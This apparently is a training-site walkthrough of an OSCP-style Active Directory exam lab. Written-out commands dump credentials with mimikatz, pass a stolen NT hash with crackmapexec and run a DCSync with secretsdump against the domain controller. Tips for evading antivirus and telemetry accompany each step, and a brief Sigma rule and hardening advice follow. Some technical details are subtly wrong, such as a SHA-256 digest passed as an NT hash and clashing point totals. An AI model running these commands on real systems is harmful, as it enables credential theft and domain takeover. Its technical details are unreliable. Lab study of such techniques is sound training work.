Offensive Security Certifications

PEN-200 / PEN-300 / WEB-3003 TRACKS

EXAM PROVEN METHODOLOGY

EDR EVASION HARDENED

Offensive Security (PEN-200)T1078.002 - Domain Accounts & Lateral MovementOffSec PEN-200 (OSCP): 3-Host Enterprise Active Directory Set Compromise

AdvancedPEN-200 (OSCP)/OS: Windows/+80 PTS/Duration: 2 hrs 30 mins

1. Mission Brief & Target Topology

EXECUTIVE ADVERSARIAL SUMMARY

Standard 40-point Active Directory challenge on the OSCP exam. Initial footholds on internal workstation via exposed SMB and service credential harvesting, pivoting through client machines with Pass-the-Hash, abusing nested local group memberships, and compromising the Domain Controller via DCSync.

OFFICIAL ARSENAL EXPLOIT SCRIPT

Bhanu Guragain (@Bh4nu) · Public GitHub Repository

View Arsenal Repo

TARGET ENVIRONMENT SPECIFICATION

TARGET HOST / SCOPE192.168.120.0/24 (3 Host AD Exam Set: CLIENT01, CLIENT02, DC01)

SYSTEM ARCHITECTUREx86_64 Windows Server 2019 / Windows 10 Pro (Domain: OSCP.EXAM)

INITIAL ACCESS VECTORWeb application command injection on CLIENT01 -> Dumping LSA secrets

PRIVILEGE ESCALATIONPass-the-Hash with user hash to CLIENT02 -> Extracting Domain Admin token -> DCSync on DC01

Exposed Network Services:

All Standard Active Directory RPC, SMB, LDAP, and Kerberos ports

EXERCISED OPERATOR SKILLS:

OSCP AD Exam StrategyPass-the-HashToken ImpersonationBloodHound EnumerationDCSync Replication

2. Operational Kill Chain Phases (3 Phases)

STEP 01Harvesting Service Credentials on CLIENT01

Phase 1: Initial Foothold & LSA Secret Extraction

Objective:Execute web exploit to obtain low-privileged shell on CLIENT01, elevate to SYSTEM, and dump LSA secrets.

COMMAND

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::lsa /patch" exit

Captured Telemetry Evidence:

EVIDENCE STEP 01

[+] Extracted NT hash for user OSCP\jordan: aad3b435b51404eeaad3b435b51404ee:d817454f738b3010b9f4ab30f3f33f61

OPSEC & EVASION INSIGHT:Run mimikatz in-memory via PowerShell reflection to avoid triggering disk antivirus.

STEP 02Pivoting into Second Machine in the Trust Set

Phase 2: Lateral Movement to CLIENT02 via Pass-the-Hash

Objective:Pass the NT hash for jordan to execute commands on CLIENT02 via WinRM / WMI.

COMMAND

crackmapexec smb 192.168.120.11 -u jordan -H d817454f738b3010b9f4ab30f3f33f61 --exec-method wmi -x "whoami"

Captured Telemetry Evidence:

EVIDENCE STEP 02

[+] CLIENT02: Pwn3d! Jordan is local administrator on CLIENT02. Domain Admin token cached in memory.

OPSEC & EVASION INSIGHT:WMI execution creates minimal process telemetry compared to remote service creation.

STEP 03Dumping Domain Controller Hashes via DRSUAPI

Phase 3: Domain Controller Takeover via DCSync

Objective:Impersonate Domain Admin token on CLIENT02 and perform DCSync against DC01 (192.168.120.10).

COMMAND

secretsdump.py oscp.exam/Administrator@192.168.120.10 -hashes :e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Captured Telemetry Evidence:

EVIDENCE STEP 03

[✓] DC01 Pwned: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:93b482...::: (40/40 Points Achieved)

OPSEC & EVASION INSIGHT:DCSync against primary domain controller ensures all flags are immediately collected.

3. Telemetry, Forensics & Shell Evidence

NETWORK & HOST TELEMETRY FOOTPRINT

Pass-the-Hash NTLM authentication without prior Kerberos TGT negotiation

4. Blue Team Detection & Defense Playbook

PRODUCTION SIGMA DETECTION RULE

title: Pass the Hash Lateral Movement Detection
status: production
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4624
    LogonType: 3
    AuthenticationPackageName: "NTLM"
    KeyLength: 0
  condition: selection

DEFENSIVE REMEDIATION & HARDENING

Enforce Remote Credential Guard to prevent plaintext and token caching on workstations.
Implement Microsoft LAPS so local administrator passwords are unique on every workstation.

Lead Operator: Bhanu Guragain (@Bh4nu)

Related Academy Track Launch Range